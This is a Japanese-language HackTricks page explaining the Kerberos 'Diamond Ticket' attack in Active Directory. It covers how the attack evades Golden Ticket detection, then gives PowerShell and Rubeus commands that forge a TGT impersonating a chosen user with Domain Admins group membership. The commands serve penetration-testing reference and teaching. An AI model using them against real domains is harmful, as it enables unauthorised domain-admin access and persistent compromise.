Diamond Ticket

HackTricksをサポートする

ダイヤモンドチケット

金のチケットのように、ダイヤモンドチケットは任意のユーザーとして任意のサービスにアクセスするために使用できるTGTです。金のチケットは完全にオフラインで作成され、そのドメインのkrbtgtハッシュで暗号化され、ログオンセッションに渡されて使用されます。ドメインコントローラーは、正当に発行されたTGTを追跡しないため、自身のkrbtgtハッシュで暗号化されたTGTを喜んで受け入れます。

金のチケットの使用を検出するための一般的な2つの技術があります:

  • 対応するAS-REQがないTGS-REQを探す。

  • Mimikatzのデフォルトの10年の有効期限のようなばかげた値を持つTGTを探す。

ダイヤモンドチケットは、DCによって発行された正当なTGTのフィールドを変更することによって作成されます。これは、TGTを要求し、ドメインのkrbtgtハッシュで復号化し、チケットの必要なフィールドを変更し、その後再暗号化することによって達成されます。これにより、金のチケットの前述の2つの欠点を克服します

  • TGS-REQには前にAS-REQがあります。

  • TGTはDCによって発行されたため、ドメインのKerberosポリシーからのすべての正しい詳細を持っています。これらは金のチケットで正確に偽造できますが、より複雑でミスが起こりやすいです。

# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512

# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
# /ticketuser is the username of the principal to impersonate.
# /ticketuserid is the domain RID of that principal.
# /groups are the desired group RIDs (512 being Domain Admins).
# /krbkey is the krbtgt AES256 hash.
HackTricksをサポートする

Last updated